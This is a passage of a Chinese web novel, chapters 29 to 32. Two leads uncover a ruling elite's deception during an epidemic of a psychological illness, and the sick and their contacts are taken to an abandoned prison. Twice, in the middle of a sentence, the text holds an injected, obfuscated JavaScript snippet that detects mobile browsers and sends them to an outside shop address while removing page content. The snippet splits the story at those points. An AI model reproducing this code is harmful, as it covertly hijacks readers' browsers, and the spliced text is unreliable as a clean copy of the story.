时咎突然打了个喷嚏,才想起两个人淋了场暴雨回来就开始争吵,完全忘记浑身湿透这件事。 他迅速把淋湿的衣服裤子全部脱下来往地上扔,沉皑开了暖气,把纸给时咎让他简单擦一下。 “还有点冷。”时咎说道,他瞥了一眼沉皑,又看了一眼自己脱得精光的模样,问,“你不脱下来晾会儿吗?” 沉皑:“……不了。” “哦。” “对了,我有个猜测。”时咎站在窗边,用窗帘挡着自己,看向广场的方向,他看到掌权者大楼,那里给他的感觉并不好,或者说,整个文明中心给他的感觉都不太好,而且随着时间的推移,越来越觉得窒息。 广场那道巨大的写着“文明中心”的门仿佛就是一个边界,里面外面两个世界。 这一路上,他遇到了很多友善的公民,那些公民让他很感动,文明中心里则截然相反。 “掌权者想向公民隐瞒虚疑病的事。”时咎眼睛看着外面,背对沉皑,突然自顾自地说,语气是一种被证实后的确信,“文明中心可以向公民发布虚假的信息。” “刚刚那些人,应该是文明中心有最高权力的人,你们作为从小被培养成他左膀右臂的角色,也可以加入他们的谈话。” “你们进行了一场很正式的会议。” “但还是以相互不理解的形式进行。” 时咎一句一句说着,沉皑没打断他,手指在桌面上轻轻敲着,好像在很认真地听,也好像在审核他的猜测。 “你不希望我问,是因为如果有高层知道我知道这件事,我可能会陷入一种非常危险的情况,你觉得,这种情况会危及我的性命。” 沉皑依旧在点着桌子,眼睛也盯着自己的手指。 “而如果有普通公民知道这件事,那将是,或许是,文明真正的动荡,跟传染病无关的,人心的动荡。” 说到这,时咎转过身正对着沉皑,沉皑感受到目光,便也抬头看他。时咎严肃又认真,口齿清晰,一字一句说:“文明中心的人没有做意识透明化,对吗?” 他们根本就不会意识交流,所以才什么都依然用语言沟通。 沉皑敲动的动作逐渐慢下来,最后停止,片刻,他无奈地说:“所以我一直觉得太聪明不是什么好事。” “我说对了?”时咎走进来,俯下身,趴在桌子上与沉皑对视。 沉皑叹气:“对,也不全对。我们做的不是意识透明化的进化,是后来的科学家对季雨雪研发的装置改造后的结果,这种意识化只允许我们建立虚假的通道,向公民提供虚假的信息,反而,语言沟通的东西才有可能是真的。” 时咎保持着俯身的动作愣在那儿:“也就是说,你们依然可以和别人建立通道,可以单方面接收对方的信息,只是如果你们想主动传递信息,这个信息是假的。” “嗯。”沉皑说,“还有,不是所有文明中心的人都这样,还是有部分人不接触核心工作的人保持透明化。” 时咎想起今天会议上沉皑反对隐瞒,他能理解沉皑的想法,但最开始又觉得,一般情况下高层是需要有一些独立的思考的,这些思考不必要所有公民都知道,如果完全的公开透明,那就一点隐私一点控制都没有了,岂不是乱套。 紧接着时咎推翻了自己,是他在以己度人,是他拿着自己现世的经验来揣测这个世界历史文明的发展,他在错误的移情,思维的高墙总在不经意间筑起。 要想到别人的经历是如何,所以对于现在的恩德诺来说,公开透明才是那个“向来如此”。 “那……”时咎突然想到什么,他站起来,又走回窗边往外看,看到暴雨下得忘乎所以,不远处的城区被青灰色包裹,眼见之处,尽是阴霾。 “那,除了文明中心的高层,有人可能知道这件事吗?”时咎问。 “不可能。”沉皑很干脆地回答,“几年前曾经有人企图向公民传达这件事,但公民没人信。” “为什么不信?”时咎不理解。 沉皑似乎也不理解时咎为什么会无法理解这样的思想,他说:“没有为什么,两百多年都是这样,大家一直都互相信任,也因此得利,在过去很久的时间里,文明中心也确实带领恩德诺到达了曾经想都不敢想的繁华,没人怀疑过。如果想传达真实的信息,可以直接语言交流,都是司空见惯的事,而且通常情况下,文明中心也不会向公民传达虚假信息。” 果然。 多数的真实里掺杂了极少数的谎言,就会连谎言都变得极具可信度,从极度不信任走向了极度信任。 物质性进化的劣势在于此,他们借助了外来的力量,而不是精神的传承。那如果有一天,有人不想意识沟通了,不想思维透明了呢?他们是可以自由选择的,在这样的选择下,是回归两百年前,还是触底反弹带来更可怕的后果? “那你……”时咎开口。 “我没有向别人传达过假信息。”沉皑说,他的眼神里是坚定,一直都在坚持某件他认为正确的事。 时咎“啊”了一声,说:“我是想说,那你们是什么时候开始有了这种新的模式的?” 沉皑叹气,好像并不愿意回忆:“从言威开始。” 他接着说:“他野心太大。恩德诺的文明因为思维透明与意识交流已经到达了新的高度,但他在上任掌权者后,总认为百年前的模式更适合统治,他想统治。” 那不就是和他的现世历史一样。时咎心想。坐上高位,尝到了权力,于是想高度集权实现自己的大统一,历史的洪流总流向了相同的地方。 原本以为这是他的世界才会存在的人,原来在恩德诺也有。 意料之中,文明背后依然是对人心的把玩。虚疑病便是教他们拉回历史的触发点。 时咎若有所思:“那他这不就是,针对全世界的,彻头彻尾的阴谋。” “嗯。” “能阻止他吗?” 沉皑皱眉,半晌吐出三个字:“不知道。” 时咎从沉皑眼里看到了一道无法逾越的鸿沟。 “那个想向公民传达这件事的人后来怎么了?”时咎问。 沉皑回想道:“那个 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公民尽量不出门的消息迅速传遍恩德诺每个地方,安全管理中心和掌权者大楼同时发布了对传染病的应对手册,说明目前的情况以及接下来可能会发生的情况,但希望公民们不需要慌张,文明中心很快会发布相应的办法。 从起源实验室可以看到的地方,大城区那边街上的人少了很多,原先时时刻刻热闹的街头,此时只有一些冷清的树叶在游荡,也许因为连日的雨,那些树叶掉在地上后又被雨水冲刷进下水道,没有掉落的树叶在树上摇摇欲坠,好像下一秒也要迎接进入下水道的命运,那些流动的雨水和随波逐流的叶子,成了街上唯一的动态。 雨长下不停,一会儿是暴雨,一会儿又变成淅淅沥沥的小雨。 文明中心一刻不停地忙,每层每户都灯火通明,除了起源实验室,要求公民都尽量在家后,进化便被推迟,整栋楼冷清不少。 沉皑也很忙,他很快被掌权者叫去开会和帮忙。 公民们都相当配合,说了尽量不出门,便不出门,除了偶尔购买生活必需品,而街上也只有生活必需品的店铺还常开着。 安静的街,表面安静着,只是偶尔在夜里突然听到有人狂热地高喊,喊一些不知名的听不懂的话,第二天街上便会出现尸体,惊恐的公民打电话给文明中心,现场又会很快被清理。 “文明中心现在在做什么?”时咎给沉皑发信息,但过了很久,快一天,沉皑的信息才回过来。 “阻断感染,收集感染者和接触感染者的资料。”简单的几个字,好像也是百忙之中才抽出空闲来回复的。 时咎大概知道文明中心现在的做法是要把感染控制在每个小家里,或许他们已经在紧急研制新的疫苗,也有可能有别的策略。 文明中心的公民热线24小时几乎没停过。 “我们家有人疯了!救命啊,他,他要打人,他要杀人!” “文明中心吗,快来救救我,我看到鬼了!” “我们还不能出去吗?我的邻居每天都在砸墙!” “大城区f63街道,有人在街上自杀了!” “我要疯了,我看到好多鬼影!能不能来救救我,救救我求你们了!” “救命啊!我从窗户看到对面楼里掉了一具尸体下来!B03街道!” “有人跳楼!怎么回事,还没有应对的办法吗?不出门就可以了吗?” …… 灰色的城市,灰色的雨,家家户户的窗户里亮着彩色的灯,也充满色彩地照着人们的脸。林立的楼房规则的窗,此时看上去格外像有着一扇扇透明玻璃的停尸柜,一眼看过去,有的人在生活,有的人早已死亡。 这样的生活大概持续了半个月终于结束了,结束于一个晴朗的夜晚。 30. 第 30 章 时咎被一声接一声的警笛吵得不耐烦,风吹得窗户“啪”的一声被甩上了,本来就有裂痕的玻璃裂痕又延长了几公分,结果这一声反而让时咎直接惊醒,他睁开眼,发现沉皑没回办公室,黑暗的房间被窗外闪烁的红蓝色映照得一起晃动,于是站起来想去窗边看看外面什么情况,却看到楼下停了五六辆大型消防车,它们正在离开文明中心,警笛随着它们的离开拉扯着波长,一组红移现象淋漓尽致地展现着。 ——发生什么了? 时咎给沉皑发信息,但没收到回复。 没过多久,楼下又响起了警笛,时咎翻身过去看,竟是又来了两辆大型消防车出去。 那一晚上时咎辗转反侧,坐着躺着站着都觉得心慌。 他的脑海里一直都是那几辆消防车出去的场景,那么大的消防车,还那么几辆,是发生了什么?一切都还好吗?沉皑去哪里了? 他都不知道,没有困意,只能在一个小办公室里来回踱步,烦躁得不行便打开门看一眼外面,然后他发现起源实验室这一整层楼都没有开灯,也没有人,格外安静,长条的走廊此时就像一个通往异世界的入口,它张着嘴,嘴里是无尽的幽深与黑暗。 啪一声,时咎关上门。 在这样的状态里,时咎一直等到天亮,等到正午,等到傍晚,沉皑还是没回来,但他等到了两则新闻。 前一天夜里,a65街区的一位公民在家突然陷入了精神疯狂状态,邻居听到他高喊“迎接世界末日”的口号,随后他家的窗帘燃烧起来了,后来也许他还点燃了别的家具,第一丝火种从他家开始蔓延,楼上住了一对母子,被浓烟呛醒了,醒了之后发现事情不对便开始呼救,叫声叫醒了周围的邻居,才发现火势蔓延得非常快,他们哭喊着要逃出来。附近的居民看到情况立刻打电话给安全管理中心了。 那火顺着一栋一栋连在一起的楼向两边疯狂蔓延,竟是短时间窜了四五栋出去。 但是这还没完,也许是火灾过于刺激人的神经,漫天的火,哭喊的居民,滚滚浓烟和绝望的尖叫叫醒了正对着这一排楼房的居民,他着一条马裤趴在窗边看正对面的大火,火映照在他的瞳孔,他也开始大喊大叫,如同从梦里终于觉醒一般,做出疯癫的行为。 他效仿了对面,点燃自己的家,接着在火里疯狂喊叫,叫声又惊醒了这边的人。于是一条街正对着的两排楼如赛跑般被火焰吞噬,这边多烧到一栋,那边就蔓延了两栋。 站在两排楼中间马路上的人吓得一屁股坐在地上,他的眼前仿佛看到了地狱,那咆哮着的火龙从两边呼啸往前嘶吼。 这一晚哭声和求救声响了一整晚,附近几条街的人也纷纷下楼不敢呆在室内,没有人睡觉,没有人作声,没有人对这场地狱对人间的侵袭发表看法,路上坐满了半夜出来的人,有的人则是举家开车离开这个地方。 那整条街的火被扑灭的时候,天早已亮透了。 城市的上方是散不去的浓烟,把本来就压抑的天空压得更低了,飞絮,灰尘在半空中漂浮着。 火熄灭后,留下的是两排黑色的楼体架,在马路中心往前看,除了地狱再没有别的类比物。 有人偷偷从很远的地方拍了一张照片,那张照片出现在新闻里,让时咎想到了寂静岭。 “啪”一声,门被打开。思绪没从新闻里出来的时咎心跳快吓漏一拍,接着他看到沉皑进来了。 他好像很疲惫,进来也没说话,拿了些东西看了一会儿立刻出去打电话,过了好一会儿才回来,回来对时咎说:“我回去休息一会儿,一起?” 时咎跟着出去了。 沉皑三天没休息了,所以他进去睡觉的时候把手机扔给了时咎:“你要是还在,如果有重要的信息或者电话就叫醒我。” “嗯,你休息吧。” 公民们安静配合了整整一个月,因为这场火灾逐渐恐慌起来了,因为谁也不知道自己家附近是否就有一个会发病的人,而那个人又拒绝意识连接,连沟通都没有办法。 沉默如同沼泽,安静时是偶然破裂的气泡,突然有人一脚踩下去,整个沼泽便沸腾着,拽着无声的尖叫往里拖。 很多公民收拾行李离开家,半夜开车企图逃往别的可能没那么严重的城市,夜晚的道路难得拥堵。但当他们路过一座又一座城市,发现情况都差不多,街上都没什么人,各家各户的灯都亮着,只是偶尔开上高架,可以看到高架旁某个楼房、某户人家的窗户里,悬挂着一个轻轻摇摆旋转的人。 心理病侵袭而来的时候,没有地方是安全的。 但这也印证了时咎的部分猜想——物质性进化的局限性,这里并不是他最初看到的乌托邦。 文明中心新开的线路被打爆了,无论加多少条,都是二十四小时接到公民或愤怒或恐惧的情绪。 城市里人心惶惶,一直没得到文明中心准确信息的公民开始传播自己的推测,一时间,虚疑病卷土重来的信息刻在每个人惊恐的眸子里。 像是基因里与生俱来的恐惧,那些原本没患病的人也出现了不同程度的恐慌,要求文明中心立刻有所作为,不然将再次集结。 “你,你怎么关闭了意识通道?!” “我前几天接触了一个感染虚疑病的人,他,他昨天自杀了,我害怕我也……” “那你就关闭吗?!” “你要是知道我也感染了虚疑病,你还会在这里吗?!” 附近传来了争吵的声音,但时咎没听太清晰,只听到过了一会儿便有摔门的声音,不知道是这栋楼还是其他的楼。又过了一会儿,又是警笛靠近又远去的声响。时咎过去把窗户都关上了。 他坐在沙发上,一言不发地等着。 “叮——” 铃声打破安静,几乎要睡着的时咎条件反射般就去拿手机,结果发现是沉皑的。 电话没有备注,时咎想拿去给沉皑,却又不想打扰他的休息,于是决定自己先接,判断一下是不是一个需要去叫醒沉皑的电话。 “你好。” “你是谁?”电话那头传来一个老成的声音。是言威。 时咎淡漠地说:“他休息了,需要转达吗?” 对面沉默了两秒,冷笑一声:“是你?明天早上七点开始转移公民,叫他六点半在广场来。”然后便挂了。 时咎担心自己会醒来,便用沉皑的手机设定了闹钟,并且在闹钟备注里写明原因,蹑手蹑脚地跑到卧室把手机放在他旁边。 时咎出来看新闻,于是看到了文明中心今天发布的第二个消息。 ——根据之前收集的信息,明天早上七点开始,安全管理中心及其分署会在每个城区进行隔离转运,将虚疑病感染者和疑似感染者全部集中在文明中心特别划分的隔离区域,为时一个月,一个月后将接回健康公民。请不要担心,我们会安排最先进的治疗团队,尽最大努力治疗或缓解现有症状,希望公民配合。 时咎还以为又是一场腥风血雨,但令他没想到的是,公民对这则新闻的态度竟没那么糟。 “支持我们的文明中心!” “看来文明中心已经确认是虚疑病了,我好害怕。” “感染者隔离后,外面的人就安全得多了。” “我们早就猜到是虚疑病,文明中心没通知,一直骗自己说再等等……” “我好像感染了,有时候有点脑子不清楚,总看到一些幻觉,我也不想传染给别人,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187322|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以集中隔离,对其他人也负责。” “我也是,不想感染别人,希望在隔离区可以快点治好。” “但是这样会不会原本只是接触感染者,但是没感染的人也有可能在一起隔离的时候被感染呢?” “隔离区可以带音响吗?嘿嘿没事我可以给大家跳舞。” “我也支持,但是我也好害怕,我刚刚已经上报了疑似感染了,我们进去之后怎么治疗啊?” “再隔离一个月就好了。” …… 看着这样的言论,时咎竟然觉得心口发疼。 第二天很早沉皑就走了,时咎从沙发上醒来的时候发现自己身上盖着被子,他一动,被子便滑下来。 桌上放了一张纸条,用笔压着,时咎坐起来看,只见上面工工整整地写着: 忙。别出门。——沉皑 他的字和他的人一样,干脆利落,毫无多余。 “注意!!” “请上报过的公民到指定区域等候排队上车,每人带一件行李。” “没有上报过的公民请待在家里,减少外出。” “注意!!” “请上报过的公民到指定区域等候排队上车,每人带一件行李。” “……” 扩音喇叭在街道上循环播放,机械声毫无感情地播报,每条街都有这样一个喇叭。安全管理中心的车停在每条街正中央,等待着公民们自觉上车。 排队的人比想象中少,大部分的街区一辆、或者两辆载人巴士完全足够,靠近文明中心区域现代化高楼大厦更多,等候区和排队的人便多起来。 老城区的一条街道上,堵了人迟迟没上车。 “请尽快处理!”一位佩戴安全管理中心徽章的人站在巴士门口,已经有些不耐烦了。 “不好意思不好意思,小孩不懂事。”一个女人抱歉地说道,她蹲下身子,摸了摸就站在巴士台阶口却双手把着门两边的孩子说,“乖,我们出去旅游,很快就会回来的。” “我不想出去旅游!我要回去睡觉!”小女孩生气地说。 后面走出来一个男人,他也弯下腰,笑眯眯地说:“小妹妹,这次旅游很有意思,我们召集了非常多的叔叔阿姨,一路上都会陪你玩游戏,如果你赢了还有奖励。” 小孩盯着这个男人,又看了眼自己的母亲,眼神往后瞥,看到后面排队的人也有在关切看她的,有在自己聊天的,还有一些小朋友也被大人抱着,大家都神色轻松,自然得像真的要去旅游。 她松动了自己手,生气地叉腰,将头往后甩:“哼,我要奖励!”说完就转身上了车。 队伍的后方有一个稍大的孩子,看上去马上成年了,他转头对自己的母亲不解地说:“明明不是旅游。我也不想去!” 他的母亲瞪他一眼,小声说:“跟你说了别乱跑,上周还要出去玩,如果不是那个人死了,我们也不用去!” 男生自觉理亏,撇撇嘴,嘀咕道:“那你去,我还没成年,我可以不说实话。” 母亲大震惊,她没想到自己的儿子说出这样的话,当场就想抬手,最后还是收回来了,她说:“我就是这么教你的?你的责任心呢?!” 巴士一辆一辆开走,分别开向了不同的地方。 “注意!!” “请上报过的公民到指定区域等候排队上车,每人带一件行李。” “没有上报过的公民请待在家里,减少外出。” 喇叭公告的声音格外刺耳,时咎第一反应烦躁地捂住耳朵,随即他抬头看到了头顶正上方的扩音器,而他正靠着一根柱,站在人群的最末尾。前面的人没人注意,不知道什么时候这儿多了一个人。 31. 第 31 章 吵死了,这是哪?时咎捂着耳朵四周看,是在某条老城区的路上,而他在的地方此时被用栅栏围起了一个不大的区域,他和面前的人群一起被围在里面。 他想去找沉皑,再来他就到了这个地方,这是在做什么? 前面的人已经在有序排队往前走了,他们正在上一辆巴士。时咎皱眉,扭头往别处看,如果没有出错,他即使瞬移应该也会瞬移在离沉皑不远的地方,那沉皑在哪里? 老楼房依然是老旧的楼房,这条街充斥着巴洛克风格的装修,但此时家家户户却紧闭窗门,一副破败的艺术感与现代化的巴士格格不入。 “往前走!” “每个人只能带一件行李!” 前面有人在喊,接着传来了小孩的哭声,一个男人说:“小孩也要行李啊!” 接着有人回应:“这个小孩太小了,不算行李!” “小孩就不是人了吗?” 前面吵了起来。时咎朝前方看了一眼,发现是一个安全管理中心的人夺取了小孩的行李,没多久,另一个安全管理中心的人过来把行李还给了男人,再次提醒他们有序上车。 原来这儿真也有这种人,权力给了他们错觉,便哪怕是微不足道的权力,也让他们膨胀爆炸。 时咎在目之所及处都看了一遍,却真的没有看见沉皑,他烦躁地踢了一脚围栏。 “往前走!后面的!愣着做什么?”最开始那个人朝他大喊。 时咎还没反应过来对方是在喊自己,他听着上方喇叭的重复,大概明白这是在做什么了。 那个人走过来,中气十足地朝他吼:“还愣着!前面的人都走了看不到吗!” 他是最后一个,而前一个已经往前走了好几米几乎快要上车了。 他皱眉,烦躁地瞥了一眼这个带着安全管理中心徽章的人,说:“我不上车。” 对方也没料想到这个答复,他大声吼:“这是你不想上就不上吗!” 时咎捂住耳朵,一个吼声,一个喇叭声,快要把他耳膜震碎了,他不想跟这人争论,直接往旁边走,后面的人立刻跟上了一把抓住他:“站住!你想干什么!” 时咎甩开他:“别烦我,我没感染,没上报。” 对方冷漠一笑:“没上报你往上报区域跑?” 时咎:“……” 他出来就在这站着。 “刚刚那些人都是确认感染和疑似感染的人,你跟他们站一起那么久……”对方说,没说完,直接抓着沉皑往前走,“我们文明中心的人都是冒着生命危险来转运你们,还这么不配合!你这种人就是文明的祸害!” 时咎突然愣了一下。对啊,转运的人员也是活生生的人,那也有可能…… 他实在无法想象如果沉皑这样的人感染上虚疑病会是什么样。时咎铁青着脸一把挣开抓着自己胳膊的手,也许是愤怒,那个人被推出去好几米。 “有,有公民不配合!逮捕他!”那个人摔在地上痛叫。 时咎趁机想跑,但这个人的叫声吸引来了别的人,时咎刚转身企图从栏杆翻出去。 “砰——” 一声枪响。 时咎直直从栏杆上摔下来。 枪声引来了巴士上的人和正在上巴士的人的注意,他们发出惊呼。 时咎倒吸一口冷气。 一枚子弹擦着他的小腿皮肉过去,虽然开枪的人准心太差射不到中心,但那种皮开肉绽的感觉还是瞬间从小腿烧遍全身。 这梦里的痛,也是真的痛啊!时咎感觉自己的冷汗瞬间流下来了。 两个工作人员赶过来,开枪的那个还拿枪指着他,说:“叫什么名字!” 时咎咬着牙没吭声,他要烦死了,他瞬移应该会到沉皑身边的,但沉皑在哪? 刚刚被时咎弹开的人也过来了,他直接把时咎从地上架起来小声说:“管他的,快帮忙先把他带上巴士,听说隔离集中营有医生,时间不多了我们还要去下一个街区。” “好。” 时咎被拖着上了巴士,又被很不客气地扔到了最后一排位置上,接着两位工作人员下去了。 巴士门关了,发动机震响,车开走。 时咎疼得咬牙都快要无济于事,他靠着窗横坐着,腿上的血顺着流下来,他不停深呼吸,脱下自己的外套想去绑着,但一碰就疼得要命。 还没在梦里死过,不知道醒了还正不正常。 前排有人在窃窃私语,忽然间,座位中急匆匆不平不稳快速走过来一个人,青年模样,但长相还很青涩。他在时咎面前蹲下,放下自己的包摊开,立刻从里面取出一些东西。 时咎惊愕:“……你。” “嘘,放松。”他轻声说,“我以前经常在靶场练枪,会简单紧急处理伤口。” 说着他把时咎的衣服放在一边,将他的腿平方在座位上,仔细看了两眼。 “伤口不深,应该只是擦着边缘过去的。”他迅速戴上手套,拿碘酒在伤口四周快速过了一遍,用止血棉按压住伤口。 “嘶!”时咎仰起头疼得死死闭上眼。 对方一边按着,一边小声说:“文明中心的人越来越不像话了,竟然朝未成年人开枪,回头我一定要去举报。” 车拐了个180度的弯,驶进隔壁街道。 “睁眼看看,还能看清外面吗?”面前的人拍了拍他的胳膊。 时咎瞬间清醒,睁开眼,微微侧头往窗外看,是他们刚刚所在那条街的背面街道。 城市里巴士开得不快,所有的建筑都是慢慢划过。这边也有公民在排队,也有那个被栅栏围起来的区域,一辆巴士停着,还没上完人。 忽然,时咎动了一下,他张嘴,可牙关一松,痛觉就更明显了。 “沉……” 他再次咬住了牙,想抬手去敲玻璃,但疼痛使他抬起来的手只能放在窗户上,敲窗户的动作像在轻抚,一点声音也没制造出。 他看到沉皑笔直地站在那里,那一身黑,就在停着那辆巴士前方,他只是看着排队的人,面无表情,有人过来在和他说话,他也没有给那个人反应,或许是“嗯”了一声,说话的人就走了。 刚刚竟然只是一栋楼房的距离。 “怎么样?还好吗?”蹲在地上的人问。 巴士没停,时咎看着那个身影逐渐接近,又如所有的建筑与装饰一样慢慢远离,直到彻底从视野里消失。 “嗯。”时咎收回视线,垂下手,应了一声,重新闭上眼。 对方还在嘀咕:“好像是.45ACP,不过我想那个人也不是真的要朝你开枪,也有可能他的技术太烂。子弹打过来不是直线,是螺旋状的自转公转下擦着过去的。” 时咎感觉有什么东西从腿部套了上来,便听对方说:“这是止血带,要一直套着,晚点我再来帮你换药。”他把 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车窗没多久好像又都关上了,车里没人说话,时咎也不知道什么时候自己身上盖了两件衣服,但都不是他的。他醒来的时候小腿的疼痛已经减少许多,不知道是因为已经止血还是止痛药的原因,他腹部发力让自己坐起来,转头去看车窗外。 是大片大片的田野,偶尔有几栋盖得极具个性化的独栋楼房,竟然在这种田野里把住宅修建成了哥特式模样,像无人的绿色原野里孤独的教堂。 已经看不到城市了,也不知道已经走了多远了。 时咎闭眼让思绪回去那个温馨的小房间,但睁眼后看到的还是巴士里静默的氛围。 如果他在这里瞬移走,会引起怀疑,若非必要,不使用能力。 时咎让自己冷静下来,只能见招拆招。 好像很多人都睡着了,前面露出来的头也东倒西歪,耳边只能听到巴士运行发动机特有的噪音,只能感受到沿路的颠簸,田野在后退。 他伸手去摸兜,忽然所有的意识都回笼了,他手在兜里使劲一抓,立刻转到另一边,衣服里,裤子里,所有的地方。 他的手机不在身上…… 坐在倒数第二排的人听见声音转身看了时咎一眼,他小声说:“你醒啦?感觉怎么样?你怎么了?” 是刚刚帮他处理伤口的人,他看到时咎表情不太对。 时咎愣愣地放下手,好半天才神游一般说出一句:“没事,好多了,谢谢你。” 太阳在倾斜,阳光和影子的角度越拉越大,不知道车开了多久,终于在一阵反向推背感中,巴士缓缓停下了。 “请大家有序下车。”司机站起来大声说。他戴着口罩,声音闷在里面。 窸窸窣窣的声音,前面的人们都站了起来收拾各自的行李,气氛复苏,有几个声音已经大声交谈起来,沉默了一路,此时终于有一种到达旅游目的地的错觉。 时咎用手把腿抬下去,坐正了身体。 “我扶你下去。”背着IFAK样式背包的男生站起来,立刻过来搀扶时咎。 时咎朝他摆手:“没事,感觉不到痛了。” 尽管如此,他依然在这位帮他包扎的人的帮助下下了车。 一股荒草与自然的气息混杂而涌来,眼前是两三栋大平房,看上去都只有两三层楼,周围是两层高耸的铁栅栏,上面还有防翻电网将所有平房围起来,又把所有平房分别隔开。地上全是杂草,似乎已经失修多年。 荒野与泥土,一个被抛弃的地方。 32. 第 32 章 人群开始窃窃私语起来,时咎这才发现站在他周围的竟然都是一些看上去年纪不大的人,除了在排队时遇到的那个抱着婴儿的男人似乎有三十来岁。 “文明中心在前几天已经把这里收拾出来了,各种生活必需品都有,就在各位的房间,隔离集中营里一切生活功能正常运行。大家进去之后自由安排,每两个人一个房间。从明天开始,一共三十天,这期间,每天将会有人把必需的食物和水放在第一层栅栏里面,当然还有文明中心为大家研发的药物,大家每天醒来可以在栅栏以内自行拿取。” “除此以外不会有其他人员接近这里,如遇紧急情况请在天黑之前将情况写明并放在你们拿取餐食的地方。但是请注意,栅栏会被锁上,不要尝试翻越任何栅栏,否则会触发电击陷阱威胁到大家的生命安全。第三十一天的早上,我会就在这个地方接大家回家。”司机字正腔圆说完这一段话便上车迅速关上车门,发动机轰鸣的一瞬间,车便开了出去,留下一长串的尾烟。 在场的人面面相觑,好像都没想到是这样的发展,他们此刻都盯着那辆扬长而去的巴士,一直到连尾气也看不清。 “那……我们要进去吗?”人群里有人问。 所有人这才反应过来似的开始往里走。 “这是什么意思?要我们自己呆在里面吗?我以为是什么酒店,这……这是什么地方?”有一个稚嫩的声音说。 “管他呢,反正三十天后确认没有被感染就可以走了。”有人回答他。 “可是我们,不都是疑似感染或者密切接触过感染者的人吗?” “烦死了,我母亲给我上报……” “我也是!” “我也是家里人给我上报的,一定要隔离吗?我觉得我没被感染啊,我和那天自杀那哥们,就一起玩了一会儿,还有人和他玩更久呢,唉算了,他好像也是家人给上报的。” “你那是那一会儿?你那是一整天!” 他们你一言我一语,好像可以开始说话了就分别都要吐露自己内心的不满。 一个男生往前走,走得很急,路过时咎的时候撞了他一下。 时咎差点没站稳,但立刻被旁边的人扶住了,那个人朝前面喊说:“小心点!走那么急干什么?” 时咎抬头看向来撞他的人,发现那人根本没看他,头也不回,也没有要道歉的意思,只是打了个哈欠继续往前走,还小声嘟囔了一句:“困死了,快点!” 现在小孩火气都这么大吗?时咎心想,介于自己有伤在身,没有多做反应。 所有人都慢慢往里走,除了那个撞了他的人一个人冲在最前面。 “我叫何为,你呢?”旁边的人问。 “时咎。” “十九?好可爱的名字。” 时咎:“嗯……” 由于有一个伤员,他俩走在最后面,并且与稍前一个人的距离也越拉越远。 何为小声对他说:“我有一个很奇怪的发现,不知道你……噢你肯定不知道,你们,除了那个抱婴儿的男人和我,竟然没有成年人了,我们的街区都是小孩子在外面玩吗?” 闻言,时咎也有点惊讶,他在街道隔离区的时候一心想找沉皑,并没有关注排队的都是些什么人,上车后更是一个人坐在最后,刚刚下了车才发现这些人的面孔似乎都还很年轻。 当然,其实这里是有三个成年人的。时咎抿嘴没说话。 时咎往前看,情况一目了然。 他们一共应该最多有三十人出头,也许临近成年的人更多,看上去大部分都已经不是小孩子,也有几个目测只有十岁出头。 他们大部分都是各走各的,有的是两个三个走在一起的,最显眼的是刚刚说觉得自己没有被感染的那个人,他走路的姿势很成熟,身边围了七、八个人,有说有笑,似乎是同一街道早就熟知的一群玩伴。 除了何为以外唯一一个成年人便是那位抱着婴儿的父亲,他偶尔会转头向后看,目光一会儿看一眼时咎和何为,一会儿又转头看一眼,停一下步伐,又继续往前走。他长得非常眉清目秀,装扮也很中性化。 “那个人为什么一直在看我们?”时咎小声问。 何为踮脚看了一眼,笑着说:“我猜是他知道你有伤口,害怕你走太慢掉队,又不好直接从那前面过来等你,所以确认一下我们的速度吧。” 时咎抬头看过去,这次却正好和那个男人对视到,于是那个男人朝他笑了一下,用口型问他:“你还好吗?” 时咎愣了一下,对他微微点头,对方也点头,便转回去了。 这段路距离不远,且只有唯一一条,他们很快便进入楼房。 门是非常小的门,一次最多两个人进去,然而时咎与何为最后进去的时候,却发现前面的人全部都站在原地,似乎所有人都在不知所措地看着什么东西。 时咎往前挪了两步,当他看到眼前的场景时,也微微张嘴,对眼前的事物如所有人般感到不敢相信:“这是……” 何为紧紧拽住时咎的胳膊,看着前方,一脸呆滞地说:“这,我们,他们,确定是这里吗?” 的确不像是文明会带他们来的地方,像消失的文明。 一个很大的破旧空间,整体约有八到十米的高度,进门便是一个长约两米的楼梯,楼梯通往二楼,但二楼与一楼在同一个空间,中间是挖空的。而一楼中间整个区域,放着很多铁圆桌铁长椅,看上去是吃饭或者聚集的地方,在这里可以一览无余看到一楼二楼所有景象。 一排排如同复制粘贴的房间,在两层楼里同时出现,每个房间两张单人床,床下有一个箱子,或许是那个司机说的生活必需品,一张书桌两把椅子、盥洗池与马桶。 竟然一栋——废弃的监狱! 墙上用黑色油漆涂写着一个巨大的“B区”。 一座修建在荒郊野外不知道废弃多少年的监狱。 震惊之后,孩子们的声音开始爆发,如同路过一棵树,树下上百只小型夜蚊胡乱逃窜。 “这什么地方啊?!” “监狱?这儿竟然是监狱?我隔离就是来监狱隔离的吗?” “我要回去!我要告诉我母亲!” “文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187324|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明中心的人呢?这是什么意思?!” “我不要在这种地方隔离!!” 说着,一个男孩猛地往外冲,他一脚踢开了本来就还没关上的门,直直地去拉扯刚刚他们进来的栅栏门,却发现那扇门在最后一个人进来后已经关上了,并没有锁,是新科技地磁吸技术门锁,打不开。 “有没有人!我要出去!” “我也要出去!!” “有没有人啊!!” “……” 